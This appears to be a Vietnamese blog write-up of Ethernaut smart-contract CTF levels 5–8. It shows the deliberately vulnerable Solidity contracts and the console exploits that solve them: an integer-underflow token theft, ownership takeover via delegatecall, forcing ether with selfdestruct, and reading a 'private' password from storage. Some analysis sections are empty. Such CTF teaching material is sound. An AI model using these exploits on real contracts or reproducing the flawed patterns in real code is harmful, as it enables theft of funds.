Skip to content

The Ethernaut writeups - Part 2: 5-8

Posted on:April 16, 2018

Chào các bạn, hôm nay chúng ta sẽ đến với phần 2 của chuỗi bài Blockchain - hacking smart contract with Ethernaut CTF

Ở bài trước, chúng ta đã được tiếp cận với những lỗ hổng cơ bản và dễ dàng nhất, ở phần này chúng ta sẽ tiếp cận 4 lỗ hổng khác với độ khó cao hơn, mình sẽ giải thích từng bước cụ thể kèm phân tích để các bạn có thể nắm được trực quan và đơn giản nhất.

Hi vọng sẽ mang lại nhiều điều thú vị cho các bạn.

Update 2022 Feb: Bài viết đã được update để phù hợp với ethernaut & solidity version mới.

5. Token

Nhiệm vụ: Có 20 token trong tay, ta cần chôm ở đâu đó vài token nữa (càng nhiều càng tốt)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Phân tích

require(balances[msg.sender] - _value >= 0);

những tưởng rằng điều kiện này chỉ đạt được khi balance của msg.sender lớn hơn giá trị value; nhưng không, điều kiện này sẽ trở thành auto true. Thật vậy, nếu như balance >= value thì hiển nhiên sẽ là true, còn nếu như balance < value thì khi balance - value sẽ xảy ra hiện tượng underflow và trở nên vô cùng lớn, theo đó điệu kiện cũng sẽ là true. Tóm lại, ta sẽ luôn luôn pass.

Solution

(await contract.balanceOf(player)).toString();
> '20'
contract.transfer(level, 21);
await contract.balanceOf(player).then(x => x.toNumber());
1.157920892373162e77;

Bình luận

6. Delegation

Nhiệm vụ: Chiếm quyền owner.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

Phân tích

Solution

await contract.owner();
contract.sendTransaction({
  data: web3.eth.abi.encodeFunctionSignature("pwn()"),
});
await contract.owner();

Bình luận

7. Force

Nhiệm vụ: Bằng cách nào đó chuyển cho một contract rỗng một ít ether.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

Phân tích

Solution

contract AnotherContract {

    function sendAll() public {
        // replace by your instance address
        selfdestruct(0xb3a12d511131ada7a145a5a9dc7399756cae6c4b);
    }

    receive() external payable {

    }
}

8. Vault

Nhiệm vụ: Tìm password và unlock

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Phân tích

Solution

> await web3.eth.getStorageAt(instance, 1)
> '0x412076657279207374726f6e67207365637265742070617373776f7264203a29'
contract.unlock(
  "0x412076657279207374726f6e67207365637265742070617373776f7264203a29"
);
await contract.locked();
> false;

Bình luận